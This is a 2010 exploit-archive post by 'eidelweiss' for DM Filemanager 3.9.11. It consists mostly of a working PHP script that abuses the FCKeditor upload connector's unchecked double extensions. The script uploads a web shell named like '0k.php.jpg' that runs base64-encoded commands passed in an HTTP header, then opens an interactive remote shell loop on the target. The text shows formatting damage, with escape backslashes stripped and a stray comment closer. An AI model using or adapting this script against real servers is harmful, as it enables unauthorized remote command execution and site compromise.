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# Title : DM Filemanager 3.9.11 Arbitrary File Upload Vulnerability
# Published : 2010-07-24
# Author : eidelweiss
# Previous Title : AKY Blog SQL Injection Vulnerability
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<?php
/*
 -----------------------------------------------------------------
 DM Filemanager (fckeditor) Remote Arbitrary File Upload Exploit
 -----------------------------------------------------------------
 Vendor: www.dutchmonkey.com
 Download : http://www.dutchmonkey.com/?file=downloads.html&label=Downloads
 exploited by ..: eidelweiss
 Affected: version 3.9.11 
 details..: works with an Apache server with the mod_mime module installed (if specific)
  
 [-] vulnerable code in /path/fckeditor/editor/filemanager/connectors/php/config.php
     
    [*] // SECURITY: You must explicitly enable this "connector". (Set it to "true").
    [*] 
    [*]	$Config['Enabled'] = true ;
    [*]
    [*] // Path to user files relative to the document root.
    [*] $Config['UserFilesPath'] = '/userfiles/' ;
    [*]
    [*] // Fill the following value it you prefer to specify the absolute path for the
    [*] // user files directory. Usefull if you are using a virtual directory, symbolic
    [*] // link or alias. Examples: 'C:\MySite\UserFiles\' or '/root/mysite/UserFiles/'.
    [*] // Attention: The above 'UserFilesPath' must point to the same directory.
    [*] 
    [*]
    [*] $Config['AllowedExtensions']['File']	= array('7z', 'aiff', 'asf', 'avi', 'bmp', 'csv', 'doc', 'fla', 'flv', 'gif', 'gz', [....]
    [*] $Config['DeniedExtensions']['File']     = array() ;
    [*]
    [*] $Config['AllowedExtensions']['Image']   = array('bmp','gif','jpeg','jpg','png') ;
    [*] $Config['DeniedExtensions']['Image']    = array() ;
    [*]
    [*] $Config['AllowedExtensions']['Flash']   = array('swf','flv') ;
    [*] $Config['DeniedExtensions']['Flash']    = array() ;
    [*]
    [*] $Config['AllowedExtensions']['Media']   = array('aiff', 'asf', 'avi', 'bmp', 'fla', 'flv', 'gif', 'jpeg', 'jpg', 'mid', 'mov', 'mp3', 'mp4', 'mpc', 'mpeg', 'mpg', 'png', 'qt', 'ram', 'rm', 'rmi', 'rmvb', 'swf', 'tif', 'tiff', 'wav', 'wma', 'wmv') ;
    [*] $Config['DeniedExtensions']['Media']    = array() ;
     
    with a default configuration of this script, an attacker might be able to upload arbitrary
    files containing malicious PHP code due to multiple file extensions isn't properly checked
*/
 
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
 $sock = fsockopen($host, 80);
 while (!$sock)
 {
  print "n[-] No response from {$host}:80 Trying again...";
  $sock = fsockopen($host, 80);
 }
 fputs($sock, $packet);
 while (!feof($sock)) $resp .= fread($sock, 1024);
 fclose($sock);
 return $resp;
}
function upload()
{
 global $host, $path;
  
 $connector = "/fckeditor/editor/filemanager/connectors/php/config.php";
 $file_ext  = array("zip", "jpg", "fla", "doc", "xls", "rtf", "csv");
  
 foreach ($file_ext as $ext)
 {
  print "n[-] Trying to upload with .{$ext} extension...";
   
  $data  = "--abcdefrn";
  $data .= "Content-Disposition: form-data; name="NewFile"; filename="0k.php.{$ext}"rn";
  $data .= "Content-Type: application/octet-streamrnrn";
  $data .= "<?php ${print(_code_)}.${passthru(base64_decode($_SERVER[HTTP_CMD]))}.${print(_code_)} ?>rn";
  $data .= "--abcdef--rn";
   
  $packet  = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0rn";
  $packet .= "Host: {$host}rn";
  $packet .= "Content-Length: ".strlen($data)."rn";
  $packet .= "Content-Type: multipart/form-data; boundary=abcdefrn";
  $packet .= "Connection: closernrn";
  $packet .= $data;
   
  preg_match("/OnUploadCompleted((.*),'(.*)')/i", http_send($host, $packet), $html);
   
  if (!in_array(intval($html[1]), array(0, 201))) die("n[-] Upload failed! (Error {$html[1]}: {$html[2]})n");
   
  $packet  = "GET {$path}0k.php.{$ext} HTTP/1.0rn";
  $packet .= "Host: {$host}rn";
  $packet .= "Connection: closernrn";
  $html    = http_send($host, $packet);
   
  if (!eregi("print", $html) and eregi("_code_", $html)) return $ext;
   
  sleep(1);
 }
  
 return false;
}
print "n+--------------------------------------------------------------------------+";
print "n| DM Filemanager (fckeditor) Remote Arbitrary File Upload Exploit |";
print "n+--------------------------------------------------------------------------+n";
if ($argc < 3)
{
 print "nUsage......: php $argv[0] host pathn";
 print "nExample....: php $argv[0] localhost /";
 print "nExample....: php $argv[0] localhost /dm-filemanager/n";
 die();
}
$host = $argv[1];
$path = $argv[2];
if (!($ext = upload())) die("nn[-] Exploit failed...n");
else print "n[-] Shell uploaded...starting it!n";
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
 print "dm-filemanager-shell# ";
 $cmd = trim(fgets(STDIN));
 if ($cmd != "exit")
 {
  $packet = "GET {$path}0k.php.{$ext} HTTP/1.0rn";
  $packet.= "Host: {$host}rn";
  $packet.= "Cmd: ".base64_encode($cmd)."rn";
  $packet.= "Connection: closernrn";
  $html   = http_send($host, $packet);
  if (!eregi("_code_", $html)) die("n[-] Exploit failed...n");
  $shell = explode("_code_", $html);
  print "n{$shell[1]}";
 }
 else break;
}
?>